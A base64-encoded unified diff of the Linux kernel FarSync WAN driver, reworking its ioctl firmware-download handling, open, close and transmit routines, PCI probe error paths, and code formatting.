ICAgICAqIHdoZW4gZ29pbmcgb3ZlciB0aGUgdG9wCi0gICAgICAgICAgICAgICAgICovCi0gICAg ICAgICAgICAgICAgaWYgKCB3cnRoZHIuc2l6ZSA+IEZTVF9NRU1TSVpFIHx8IHdydGhkci5vZmZz ZXQgPiBGU1RfTUVNU0laRQotCQkJCXx8IHdydGhkci5zaXplICsgd3J0aGRyLm9mZnNldCA+IEZT VF9NRU1TSVpFICkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICBy ZXR1cm4gLUVOWElPOwotICAgICAgICAgICAgICAgIH0KKwlkYmcoREJHX0lPQ1RMLCAiaW9jdGw6 ICV4LCAlcFxuIiwgY21kLCBpZnItPmlmcl9kYXRhKTsKIAotICAgICAgICAgICAgICAgIC8qIE5v dyBjb3B5IHRoZSBkYXRhIHRvIHRoZSBjYXJkLgotICAgICAgICAgICAgICAgICAqIFRoaXMgd2ls bCBwcm9iYWJseSBicmVhayBvbiBzb21lIGFyY2hpdGVjdHVyZXMuCi0gICAgICAgICAgICAgICAg ICogSSdsbCBmaXggaXQgd2hlbiBJIGhhdmUgc29tZXRoaW5nIHRvIHRlc3Qgb24uCi0gICAgICAg ICAgICAgICAgICovCi0gICAgICAgICAgICAgICAgaWYgKCBjb3B5X2Zyb21fdXNlciAoIGNhcmQt Pm1lbSArIHdydGhkci5vZmZzZXQsCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlm ci0+aWZyX2RhdGEgKyBzaXplb2YgKCBzdHJ1Y3QgZnN0aW9jX3dyaXRlICksCi0gICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIHdydGhkci5zaXplICkpCi0gICAgICAgICAgICAgICAgewot ICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIC1FRkFVTFQ7Ci0gICAgICAgICAgICAgICAg fQorCXBvcnQgPSBkZXZfdG9fcG9ydChkZXYpOworCWNhcmQgPSBwb3J0LT5jYXJkOwogCi0gICAg ICAgICAgICAgICAgLyogV3JpdGVzIHRvIHRoZSBtZW1vcnkgb2YgYSBjYXJkIGluIHRoZSByZXNl dCBzdGF0ZSBjb25zdGl0dXRlCi0gICAgICAgICAgICAgICAgICogYSBkb3dubG9hZAotICAgICAg ICAgICAgICAgICAqLwotICAgICAgICAgICAgICAgIGlmICggY2FyZC0+c3RhdGUgPT0gRlNUX1JF U0VUICkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICBjYXJkLT5z dGF0ZSA9IEZTVF9ET1dOTE9BRDsKLSAgICAgICAgICAgICAgICB9Ci0gICAgICAgICAgICAgICAg cmV0dXJuIDA7CisJaWYgKCFjYXBhYmxlKENBUF9ORVRfQURNSU4pKQorCQlyZXR1cm4gLUVQRVJN OwogCi0gICAgICAgIGNhc2UgRlNUR0VUQ09ORjoKKwlzd2l0Y2ggKGNtZCkgeworCWNhc2UgRlNU Q1BVUkVTRVQ6CisJCWZzdF9jcHVyZXNldChjYXJkKTsKKwkJY2FyZC0+c3RhdGUgPSBGU1RfUkVT RVQ7CisJCXJldHVybiAwOwogCi0gICAgICAgICAgICAgICAgLyogSWYgY2FyZCBoYXMganVzdCBi ZWVuIHN0YXJ0ZWQgY2hlY2sgdGhlIHNoYXJlZCBtZW1vcnkgY29uZmlnCi0gICAgICAgICAgICAg ICAgICogdmVyc2lvbiBhbmQgbWFya2VyCi0gICAgICAgICAgICAgICAgICovCi0gICAgICAgICAg ICAgICAgaWYgKCBjYXJkLT5zdGF0ZSA9PSBGU1RfU1RBUlRJTkcgKQotICAgICAgICAgICAgICAg IHsKLSAgICAgICAgICAgICAgICAgICAgICAgIGNoZWNrX3N0YXJ0ZWRfb2sgKCBjYXJkICk7Ci0K LSAgICAgICAgICAgICAgICAgICAgICAgIC8qIElmIGV2ZXJ5dGhpbmcgY2hlY2tlZCBvdXQgZW5h YmxlIGNhcmQgaW50ZXJydXB0cyAqLwotICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCBjYXJk LT5zdGF0ZSA9PSBGU1RfUlVOTklORyApCi0gICAgICAgICAgICAgICAgICAgICAgICB7Ci0gICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNwaW5fbG9ja19pcnFzYXZlICggJmNhcmQtPmNh cmRfbG9jaywgZmxhZ3MgKTsKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnN0X2Ns ZWFyX2ludHIgKCBjYXJkICk7Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZTVF9X UkIgKCBjYXJkLCBpbnRlcnJ1cHRIYW5kc2hha2UsIDB4RUUgKTsKLSAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSAoICZjYXJkLT5jYXJkX2xvY2ss Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgZmxhZ3MgKTsKLSAgICAgICAgICAgICAgICAgICAgICAgIH0KLSAgICAgICAgICAg ICAgICB9CisJY2FzZSBGU1RDUFVSRUxFQVNFOgorCQlmc3RfY3B1cmVsZWFzZShjYXJkKTsKKwkJ Y2FyZC0+c3RhdGUgPSBGU1RfU1RBUlRJTkc7CisJCXJldHVybiAwOwogCi0gICAgICAgICAgICAg ICAgaWYgKCBpZnItPmlmcl9kYXRhID09IE5VTEwgKQotICAgICAgICAgICAgICAgIHsKLSAgICAg ICAgICAgICAgICAgICAgICAgIHJldHVybiAtRUlOVkFMOwotICAgICAgICAgICAgICAgIH0KKwlj YXNlIEZTVFdSSVRFOgkJLyogQ29kZSB3cml0ZSAoZG93bmxvYWQpICovCiAKLSAgICAgICAgICAg ICAgICBnYXRoZXJfY29uZl9pbmZvICggY2FyZCwgcG9ydCwgJmluZm8gKTsKKwkJLyogRmlyc3Qg Y29weSBpbiB0aGUgaGVhZGVyIHdpdGggdGhlIGxlbmd0aCBhbmQgb2Zmc2V0IG9mIGRhdGEKKwkJ ICogdG8gd3JpdGUKKwkJICovCisJCWlmIChpZnItPmlmcl9kYXRhID09IE5VTEwpIHsKKwkJCXJl dHVybiAtRUlOVkFMOworCQl9CisJCWlmIChjb3B5X2Zyb21fdXNlcigmd3J0aGRyLCBpZnItPmlm cl9kYXRhLAorCQkJCSAgIHNpemVvZiAoc3RydWN0IGZzdGlvY193cml0ZSkpKSB7CisJCQlyZXR1 cm4gLUVGQVVMVDsKKwkJfQogCi0gICAgICAgICAgICAgICAgaWYgKCBjb3B5X3RvX3VzZXIgKCBp ZnItPmlmcl9kYXRhLCAmaW5mbywgc2l6ZW9mICggaW5mbyApKSkKLSAgICAgICAgICAgICAgICB7 Ci0gICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gLUVGQVVMVDsKLSAgICAgICAgICAgICAg ICB9Ci0gICAgICAgICAgICAgICAgcmV0dXJuIDA7CisJCS8qIFNhbml0eSBjaGVjayB0aGUgcGFy YW1ldGVycy4gV2UgZG9uJ3Qgc3VwcG9ydCBwYXJ0aWFsIHdyaXRlcworCQkgKiB3aGVuIGdvaW5n IG92ZXIgdGhlIHRvcAorCQkgKi8KKwkJaWYgKHdydGhkci5zaXplID4gRlNUX01FTVNJWkUgfHwg d3J0aGRyLm9mZnNldCA+IEZTVF9NRU1TSVpFCisJCSAgICB8fCB3cnRoZHIuc2l6ZSArIHdydGhk ci5vZmZzZXQgPiBGU1RfTUVNU0laRSkgeworCQkJcmV0dXJuIC1FTlhJTzsKKwkJfQogCi0gICAg ICAgIGNhc2UgRlNUU0VUQ09ORjoKKwkJLyogTm93IGNvcHkgdGhlIGRhdGEgdG8gdGhlIGNhcmQu CisJCSAqIFRoaXMgd2lsbCBwcm9iYWJseSBicmVhayBvbiBzb21lIGFyY2hpdGVjdHVyZXMuCisJ CSAqIEknbGwgZml4IGl0IHdoZW4gSSBoYXZlIHNvbWV0aGluZyB0byB0ZXN0IG9uLgorCQkgKi8K KwkJaWYgKGNvcHlfZnJvbV91c2VyKGNhcmQtPm1lbSArIHdydGhkci5vZmZzZXQsCisJCQkJICAg aWZyLT5pZnJfZGF0YSArIHNpemVvZiAoc3RydWN0IGZzdGlvY193cml0ZSksCisJCQkJICAgd3J0 aGRyLnNpemUpKSB7CisJCQlyZXR1cm4gLUVGQVVMVDsKKwkJfQogCi0gICAgICAgICAgICAgICAg LyogTW9zdCBvZiB0aGUgc2V0dGluZyBoYXZlIGJlZW4gbW92ZWQgdG8gdGhlIGdlbmVyaWMgaW9j dGxzCi0gICAgICAgICAgICAgICAgICogdGhpcyBqdXN0IGNvdmVycyBkZWJ1ZyBhbmQgYm9hcmQg aWRlbnQgbW9kZSBub3cKLSAgICAgICAgICAgICAgICAgKi8KLSAgICAgICAgICAgICAgICBpZiAo IGNvcHlfZnJvbV91c2VyICggJmluZm8sICBpZnItPmlmcl9kYXRhLCBzaXplb2YgKCBpbmZvICkp KQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAtRUZB VUxUOwotICAgICAgICAgICAgICAgIH0KKwkJLyogV3JpdGVzIHRvIHRoZSBtZW1vcnkgb2YgYSBj YXJkIGluIHRoZSByZXNldCBzdGF0ZSBjb25zdGl0dXRlCisJCSAqIGEgZG93bmxvYWQKKwkJICov CisJCWlmIChjYXJkLT5zdGF0ZSA9PSBGU1RfUkVTRVQpIHsKKwkJCWNhcmQtPnN0YXRlID0gRlNU X0RPV05MT0FEOworCQl9CisJCXJldHVybiAwOwogCi0gICAgICAgICAgICAgICAgcmV0dXJuIHNl dF9jb25mX2Zyb21faW5mbyAoIGNhcmQsIHBvcnQsICZpbmZvICk7CisJY2FzZSBGU1RHRVRDT05G OgogCi0gICAgICAgIGNhc2UgU0lPQ1dBTkRFVjoKLSAgICAgICAgICAgICAgICBzd2l0Y2ggKGlm ci0+aWZyX3NldHRpbmdzLnR5cGUpCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAg IGNhc2UgSUZfR0VUX0lGQUNFOgotICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZzdF9n ZXRfaWZhY2UgKCBjYXJkLCBwb3J0LCBpZnIgKTsKLQotICAgICAgICAgICAgICAgIGNhc2UgSUZf SUZBQ0VfU1lOQ19TRVJJQUw6Ci0gICAgICAgICAgICAgICAgY2FzZSBJRl9JRkFDRV9WMzU6Ci0g ICAgICAgICAgICAgICAgY2FzZSBJRl9JRkFDRV9WMjQ6Ci0gICAgICAgICAgICAgICAgY2FzZSBJ Rl9JRkFDRV9YMjE6Ci0gICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZnN0X3NldF9pZmFj ZSAoIGNhcmQsIHBvcnQsIGlmciApOworCQkvKiBJZiBjYXJkIGhhcyBqdXN0IGJlZW4gc3RhcnRl ZCBjaGVjayB0aGUgc2hhcmVkIG1lbW9yeSBjb25maWcKKwkJICogdmVyc2lvbiBhbmQgbWFya2Vy CisJCSAqLworCQlpZiAoY2FyZC0+c3RhdGUgPT0gRlNUX1NUQVJUSU5HKSB7CisJCQljaGVja19z dGFyd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JBVzsKKwkJCQlyZXR1cm4gMDsKKwkJCX0KKwkJ CXJldHVybiBoZGxjX2lvY3RsKGRldiwgaWZyLCBjbWQpOworCisJCWRlZmF1bHQ6CisJCQlwb3J0 LT5tb2RlID0gRlNUX0dFTl9IRExDOworCQkJZGJnKERCR19JT0NUTCwgIlBhc3NpbmcgdGhpcyB0 eXBlIHRvIGhkbGMgJXhcbiIsCisJCQkgICAgaWZyLT5pZnJfc2V0dGluZ3MudHlwZSk7CisJCQly ZXR1cm4gaGRsY19pb2N0bChkZXYsIGlmciwgY21kKTsKKwkJfQogCi0gICAgICAgICAgICAgICAg c2lnbmFscyA9IEZTVF9SREwgKCBwb3J0LT5jYXJkLCB2MjREZWJvdW5jZWRTdHNbcG9ydC0+aW5k ZXhdKTsKLSAgICAgICAgICAgICAgICBpZiAoIHNpZ25hbHMgJiAoKCBwb3J0LT5od2lmID09IFgy MSApID8gSVBTVFNfSU5ESUNBVEUKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDogSVBTVFNfRENEICkpCi0gICAgICAgICAgICAgICAgICAgICAg ICBuZXRpZl9jYXJyaWVyX29uICggcG9ydF90b19kZXYgKCBwb3J0ICkpOwotICAgICAgICAgICAg ICAgIGVsc2UKLSAgICAgICAgICAgICAgICAgICAgICAgIG5ldGlmX2NhcnJpZXJfb2ZmICggcG9y dF90b19kZXYgKCBwb3J0ICkpOwotICAgICAgICB9CisJZGVmYXVsdDoKKwkJLyogTm90IG9uZSBv ZiBvdXJzLiBQYXNzIHRocm91Z2ggdG8gSERMQyBwYWNrYWdlICovCisJCXJldHVybiBoZGxjX2lv Y3RsKGRldiwgaWZyLCBjbWQpOworCX0KIH0KIAogc3RhdGljIHZvaWQKLWZzdF9jbG9zZXBvcnQg KCBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydCApCitmc3Rfb3BlbnBvcnQoc3RydWN0IGZzdF9w b3J0X2luZm8gKnBvcnQpC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ljZSAqZGV2KQogewotICAgICAgICBpbnQgZXJyOworCWludCBlcnI7CisJc3Ry dWN0IGZzdF9wb3J0X2luZm8gKnBvcnQ7CiAKLSAgICAgICAgZXJyID0gaGRsY19vcGVuIChkZXYp OwotICAgICAgICBpZiAoIGVyciApCi0gICAgICAgICAgICAgICAgcmV0dXJuIGVycjsKKwlwb3J0 ID0gZGV2X3RvX3BvcnQoZGV2KTsKKwlpZiAoIXRyeV9tb2R1bGVfZ2V0KFRISVNfTU9EVUxFKSkK KyAgICAgICAgICByZXR1cm4gLUVCVVNZOworCisJaWYgKHBvcnQtPm1vZGUgIT0gRlNUX1JBVykg eworCQllcnIgPSBoZGxjX29wZW4oZGV2KTsKKwkJaWYgKGVycikKKwkJCXJldHVybiBlcnI7CisJ fQogCi0gICAgICAgIGZzdF9vcGVucG9ydCAoIGRldl90b19wb3J0ICggZGV2ICkpOwotICAgICAg ICBuZXRpZl93YWtlX3F1ZXVlICggZGV2ICk7Ci0gICAgICAgIHJldHVybiAwOworCWZzdF9vcGVu cG9ydChwb3J0KTsKKwluZXRpZl93YWtlX3F1ZXVlKGRldik7CisJcmV0dXJuIDA7CiB9CiAKIHN0 YXRpYyBpbnQKLWZzdF9jbG9zZSAoIHN0cnVjdCBuZXRfZGV2aWNlICpkZXYgKQorZnN0X2Nsb3Nl KHN0cnVjdCBuZXRfZGV2aWNlICpkZXYpCiB7Ci0gICAgICAgIG5ldGlmX3N0b3BfcXVldWUgKCBk ZXYgKTsKLSAgICAgICAgZnN0X2Nsb3NlcG9ydCAoIGRldl90b19wb3J0ICggZGV2ICkpOwotICAg ICAgICBoZGxjX2Nsb3NlICggZGV2ICk7Ci0gICAgICAgIHJldHVybiAwOworCXN0cnVjdCBmc3Rf cG9ydF9pbmZvICpwb3J0OworCXN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkOworCXVuc2lnbmVk IGNoYXIgdHhfZG1hX2RvbmU7CisJdW5zaWduZWQgY2hhciByeF9kbWFfZG9uZTsK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XJyb3Ig aWYgd2UgZG9uJ3QgaGF2ZSBjYXJyaWVyICovCi0gICAgICAgIGlmICggISBuZXRpZl9jYXJyaWVy X29rICggZGV2ICkpCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBkZXZfa2ZyZWVfc2tiICgg c2tiICk7Ci0gICAgICAgICAgICAgICAgc3RhdHMtPnR4X2Vycm9ycysrOwotICAgICAgICAgICAg ICAgIHN0YXRzLT50eF9jYXJyaWVyX2Vycm9ycysrOwotICAgICAgICAgICAgICAgIHJldHVybiAw OwotICAgICAgICB9Ci0KLSAgICAgICAgLyogRHJvcCBpdCBpZiBpdCdzIHRvbyBiaWchIE1UVSBm YWlsdXJlID8gKi8KLSAgICAgICAgaWYgKCBza2ItPmxlbiA+IExFTl9UWF9CVUZGRVIgKQotICAg ICAgICB7Ci0gICAgICAgICAgICAgICAgZGJnICggREJHX1RYLCJQYWNrZXQgdG9vIGxhcmdlICVk IHZzICVkXG4iLCBza2ItPmxlbiwKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIExFTl9UWF9CVUZGRVIgKTsKLSAgICAgICAgICAgICAgICBkZXZfa2ZyZWVf c2tiICggc2tiICk7Ci0gICAgICAgICAgICAgICAgc3RhdHMtPnR4X2Vycm9ycysrOwotICAgICAg ICAgICAgICAgIHJldHVybiAwOwotICAgICAgICB9Ci0KLSAgICAgICAgLyogQ2hlY2sgd2UgaGF2 ZSBhIGJ1ZmZlciAqLwotICAgICAgICBwaSA9IHBvcnQtPmluZGV4OwotICAgICAgICBzcGluX2xv Y2tfaXJxc2F2ZSAoICZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzICk7Ci0gICAgICAgIHR4cCA9IHBv cnQtPnR4cG9zOwotICAgICAgICBkbWFiaXRzID0gRlNUX1JEQiAoIGNhcmQsIHR4RGVzY3JSaW5n W3BpXVt0eHBdLmJpdHMgKTsKLSAgICAgICAgaWYgKCBkbWFiaXRzICYgRE1BX09XTiApCi0gICAg ICAgIHsKLSAgICAgICAgICAgICAgICBzcGluX3VubG9ja19pcnFyZXN0b3JlICggJmNhcmQtPmNh cmRfbG9jaywgZmxhZ3MgKTsKLSAgICAgICAgICAgICAgICBkYmcgKCBEQkdfVFgsIk91dCBvZiBU eCBidWZmZXJzXG4iKTsKLSAgICAgICAgICAgICAgICBkZXZfa2ZyZWVfc2tiICggc2tiICk7Ci0g ICAgICAgICAgICAgICAgc3RhdHMtPnR4X2Vycm9ycysrOwotICAgICAgICAgICAgICAgIHJldHVy biAwOwotICAgICAgICB9Ci0gICAgICAgIGlmICggKytwb3J0LT50eHBvcyA+PSBOVU1fVFhfQlVG RkVSICkKLSAgICAgICAgICAgICAgICBwb3J0LT50eHBvcyA9IDA7Ci0KLSAgICAgICAgaWYgKCAr K3BvcnQtPnR4Y250ID49IE5VTV9UWF9CVUZGRVIgKQotICAgICAgICAgICAgICAgIG5ldGlmX3N0 b3BfcXVldWUgKCBkZXYgKTsKLQotICAgICAgICAvKiBSZWxlYXNlIHRoZSBjYXJkIGxvY2sgYmVm b3JlIHdlIGNvcHkgdGhlIGRhdGEgYXMgd2Ugbm93IGhhdmUKLSAgICAgICAgICogZXhjbHVzaXZl IGFjY2VzcyB0byB0aGUgYnVmZmVyLgotICAgICAgICAgKi8KLSAgICAgICAgc3Bpbl91bmxvY2tf aXJxcmVzdG9yZSAoICZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzICk7Ci0KLSAgICAgICAgLyogRW5x dWV1ZSB0aGUgcGFja2V0ICovCi0gICAgICAgIG1lbWNweV90b2lvICggY2FyZC0+bWVtICsgQlVG X09GRlNFVCAoIHR4QnVmZmVyW3BpXVt0eHBdWzBdKSwKLSAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIHNrYi0+ZGF0YSwgc2tiLT5sZW4gKTsKLSAgICAgICAg RlNUX1dSVyAoIGNhcmQsIHR4RGVzY3JSaW5nW3BpXVt0eHBdLmJjbnQsIGN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yZSBkZXRlY3RzIHNv bWV0aGluZyBkaWZmZXJlbnQgbGF0ZXIgKHNob3VsZCBuZXZlciBoYXBwZW4pCisJICogd2UnbGwg aGF2ZSB0byByZXZpc2UgaXQgaW4gc29tZSB3YXkgdGhlbi4KKwkgKi8KKwlmb3IgKGkgPSAwOyBp IDwgY2FyZC0+bnBvcnRzOyBpKyspIHsKICAgICAgICAgICAgICAgICBlcnIgPSByZWdpc3Rlcl9o ZGxjX2RldmljZShjYXJkLT5wb3J0c1tpXS5kZXYpOwogICAgICAgICAgICAgICAgIGlmIChlcnIg PCAwKSB7CiAJCQlpbnQgajsKQEAgLTE0NjgsNjIgKzI0MzAsMTIwIEBACiAgICAgICAgICAgICAg ICAgICAgICAgICBjYXJkLT5ucG9ydHMgPSBpOwogICAgICAgICAgICAgICAgICAgICAgICAgYnJl YWs7CiAgICAgICAgICAgICAgICAgfQotICAgICAgICB9CisJfQogCi0gICAgICAgIHByaW50ayAo IEtFUk5fSU5GTyAiJXMtJXM6ICVzIElSUSVkLCAlZCBwb3J0c1xuIiwKLSAgICAgICAgICAgICAg ICAgICAgICAgIHBvcnRfdG9fZGV2KCZjYXJkLT5wb3J0c1swXSktPm5hbWUsCi0gICAgICAgICAg ICAgICAgICAgICAgICBwb3J0X3RvX2RldigmY2FyZC0+cG9ydHNbY2FyZC0+bnBvcnRzLTFdKS0+ bmFtZSwKLSAgICAgICAgICAgICAgICAgICAgICAgIHR5cGVfc3RyaW5nc1tjYXJkLT50eXBlXSwg Y2FyZC0+aXJxLCBjYXJkLT5ucG9ydHMgKTsKKwlwcmludGtfaW5mbygiJXMtJXM6ICVzIElSUSVk LCAlZCBwb3J0c1xuIiwKKwkgICAgICAgcG9ydF90b19kZXYoJmNhcmQtPnBvcnRzWzBdKS0+bmFt ZSwKKwkgICAgICAgcG9ydF90b19kZXYoJmNhcmQtPnBvcnRzW2NhcmQtPm5wb3J0cyAtIDFdKS0+ bmFtZSwKKwkgICAgICAgdHlwZV9zdHJpbmd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EgKi8KLSAgICAgICAgY2FyZCA9IGttYWxsb2MgKCBzaXplb2YgKCBzdHJ1Y3QgZnN0X2NhcmRf aW5mbyApLCAgR0ZQX0tFUk5FTCk7Ci0gICAgICAgIGlmIChjYXJkID09IE5VTEwpCi0gICAgICAg IHsKLSAgICAgICAgICAgICAgICBwcmludGtfZXJyICgiRmFyU3luYyBjYXJkIGZvdW5kIGJ1dCBp bnN1ZmZpY2llbnQgbWVtb3J5IGZvciIKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IiBkcml2ZXIgc3RvcmFnZVxuIik7Ci0gICAgICAgICAgICAgICAgcmV0dXJuIC1FTk9NRU07Ci0g ICAgICAgIH0KLSAgICAgICAgbWVtc2V0ICggY2FyZCwgMCwgc2l6ZW9mICggc3RydWN0IGZzdF9j YXJkX2luZm8gKSk7Ci0KLSAgICAgICAgLyogVHJ5IHRvIGVuYWJsZSB0aGUgZGV2aWNlICovCi0g ICAgICAgIGlmICgoIGVyciA9IHBjaV9lbmFibGVfZGV2aWNlICggcGRldiApKSAhPSAwICkKLSAg ICAgICAgewotICAgICAgICAgICAgICAgIHByaW50a19lcnIgKCJGYWlsZWQgdG8gZW5hYmxlIGNh cmQuIEVyciAlZFxuIiwgLWVyciApOwotICAgICAgICAgICAgICAgIGdvdG8gZXJyb3JfZnJlZV9j YXJkOwotICAgICAgICB9Ci0KLSAgICAgICAgLyogUmVjb3JkIGluZm8gd2UgbmVlZCovCi0gICAg ICAgIGNhcmQtPmlycSAgICAgICAgID0gcGRldi0+aXJxOwotICAgICAgICBjYXJkLT5wY2lfY29u ZiAgICA9IHBjaV9yZXNvdXJjZV9zdGFydCAoIHBkZXYsIDEgKTsKLSAgICAgICAgY2FyZC0+cGh5 c19tZW0gICAgPSBwY2lfcmVzb3VyY2Vfc3RhcnQgKCBwZGV2LCAyICk7Ci0gICAgICAgIGNhcmQt PnBoeXNfY3RsbWVtID0gcGNpX3Jlc291cmNlX3N0YXJ0ICggcGRldiwgMyApO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cnJvcl9mcmVlX2NhcmQ7CisgICAg ICAgICAgICAgICAgICAgICAgICBmcmVlX2lycShjYXJkLT5pcnEsIGNhcmQpOworICAgICAgICAg ICAgICAgICAgICAgICAgcGNpX3JlbGVhc2VfcmVnaW9ucyhwZGV2KTsKKyAgICAgICAgICAgICAg ICAgICAgICAgIHBjaV9kaXNhYmxlX2RldmljZShwZGV2KTsKKyAgICAgICAgICAgICAgICAgICAg ICAgIGlvdW5tYXAoY2FyZC0+Y3RsbWVtKTsKKyAgICAgICAgICAgICAgICAgICAgICAgIGlvdW5t YXAoY2FyZC0+bWVtKTsKKyAgICAgICAgICAgICAgICAgICAgICAgIGtmcmVlKGNhcmQpOworICAg ICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIC1FTk9ERVY7CiAJCX0KIAkJY2FyZC0+cG9ydHNb aV0uZGV2ICAgID0gZGV2OwogICAgICAgICAgICAgICAgIGNhcmQtPnBvcnRzW2ldLmNhcmQgICA9 IGNhcmQ7CkBAIC0xNTY0LDEyOCArMjU5MCw5NSBAQAogICAgICAgICAgICAgICAgIGhkbGMtPnht aXQgICA9IGZzdF9zdGFydF94bWl0OwogCX0KIAotICAgICAgICBkYmcgKCBEQkdfUENJLCJ0eXBl ICVkIG5wb3J0cyAlZCBpcnEgJWRcbiIsIGNhcmQtPnR5cGUsCi0gICAgICAgICAgICAgICAgICAg ICAgICBjYXJkLT5ucG9ydHMsIGNhcmQtPmlycSApOwotICAgICAgICBkYmcgKCBEQkdfUENJLCJj b25mICUwNHggbWVtICUwOHggY3RsbWVtICUwOHhcbiIsCi0gICAgICAgICAgICAgICAgICAgICAg ICBjYXJkLT5wY2lfY29uZiwgY2FyZC0+cGh5c19tZW0sIGNhcmQtPnBoeXNfY3RsbWVtICk7Ci0K LSAgICAgICAgLyogQ2hlY2sgd2UgY2FuIGdldCBhY2Nlc3MgdG8gdGhlIG1lbW9yeSBhbmQgSS9P IHJlZ2lvbnMgKi8KLSAgICAgICAgaWYgKCAhIHJlcXVlc3RfcmVnaW9uICggY2FyZC0+cGNpX2Nv bmYsIDB4ODAsIlBMWCBjb25maWcgcmVncyIpKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAg cHJpbnRrX2VyciAoIlVuYWJsZSB0byBnZXQgY29uZmlnIEkvTyBAIDB4JTA0WFxuIiwKLSAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhcmQtPnBjaV9jb25m ICk7Ci0gICAgICAgICAgICAgICAgZXJyID0gLUVOT0RFVjsKLSAgICAgICAgICAgICAgICBnb3Rv IGVycm9yX2ZyZWVfcG9ydHM7Ci0gICAgICAgIH0KLSAgICAgICAgaWYgKCAhIHJlcXVlc3RfbWVt X3JlZ2lvbiAoIGNhcmQtPnBoeXNfbWVtLCBGU1RfTUVNU0laRSwiU2hhcmVkIFJBTSIpKQotICAg ICAgICB7Ci0gICAgICAgICAgICAgICAgcHJpbnRrX2VyciAoIlVuYWJsZSB0byBnZXQgbWFpbiBt ZW1vcnkgQCAweCUwOFhcbiIsCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICBjYXJkLT5waHlzX21lbSApOwotICAgICAgICAgICAgICAgIGVyciA9IC1FTk9E RVY7Ci0gICAgICAgICAgICAgICAgZ290byBlcnJvcl9yZWxlYXNlX2lvOwotICAgICAgICB9Ci0g ICAgICAgIGlmICggISByZXF1ZXN0X21lbV9yZWdpb24gKCBjYXJkLT5waHlzX2N0bG1lbSwgMHgx MCwiQ29udHJvbCBtZW1vcnkiKSkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIHByaW50a19l cnIgKCJVbmFibGUgdG8gZ2V0IGNvbnRyb2wgbWVtb3J5IEAgMHglMDhYXG4iLAotICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FyZC0+cGh5c19jdGxtZW0g KTsKLSAgICAgICAgICAgICAgICBlcnIgPSAtRU5PREVWOwotICAgICAgICAgICAgICAgIGdvdG8g ZXJyb3JfcmVsZWFzZV9tZW07Ci0gICAgICAgIH0KLQotCi0gICAgICAgIC8qIEdldCB2aXJ0dWFs IGFkZHJlc3NlcyBvZiBtZW1vcnkgcmVnaW9ucyAqLwotICAgICAgICBpZiAoKCBjYXJkLT5tZW0g PSBpb3JlbWFwICggY2FyZC0+cGh5c19tZW0sIEZTVF9NRU1TSVpFICkpID09IE5VTEwgKQotICAg ICAgICB7Ci0gICAgICAgICAgICAgICAgcHJpbnRrX2VyciAoIlBoeXNpY2FsIG1lbW9yeSByZW1h cCBmYWlsZWRcbiIpOwotICAgICAgICAgICAgICAgIGVyciA9IC1FTk9ERVY7Ci0gICAgICAgICAg ICAgICAgZ290byBlcnJvcl9yZWxlYXNlX2N0bG1lbTsKLSAgICAgICAgfQotICAgICAgICBpZiAo KCBjYXJkLT5jdGxtZW0gPSBpb3JlbWFwICggY2FyZC0+cGh5c19jdGxtZW0sIDB4MTAgKSkgPT0g TlVMTCApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBwcmludGtfZXJyICgiQ29udHJvbCBt ZW1vcnkgcmVtYXAgZmFpbGVkXG4iKTsKLSAgICAgICAgICAgICAgICBlcnIgPSAtRU5PREVWOwot ICAgICAgICAgICAgICAgIGdvdG8gZXJyb3JfdW5tYXBfbWVtOwotICAgICAgICB9Ci0gICAgICAg IGRiZyAoIERCR19QQ0ksImtlcm5lbCBtZW0gJXAsIGN0bG1lbSAlcFxuIiwgY2FyZC0+bWVtLCBj YXJkLT5jdGxtZW0pOwotCi0gICAgICAgIC8qIFJlc2V0IHRoZSBjYXJkJ3MgcHJvY2Vzc29yICov Ci0gICAgICAgIGZzdF9jcHVyZXNldCAoIGNhcmQgKTsKLSAgICAgICAgY2FyZC0+c3RhdGUgPSBG U1RfUkVTRVQ7Ci0KLSAgICAgICAgLyogUmVnaXN0ZXIgdGhlIGludGVycnVwdCBoYW5kbGVyICov Ci0gICAgICAgIGlmICggcmVxdWVzdF9pcnEgKCBjYXJkLT5pcnEsIGZzdF9pbnRyLCBTQV9TSElS USwgRlNUX0RFVl9OQU1FLCBjYXJkICkpCi0gICAgICAgIHsKLQotICAgICAgICAgICAgICAgIHBy 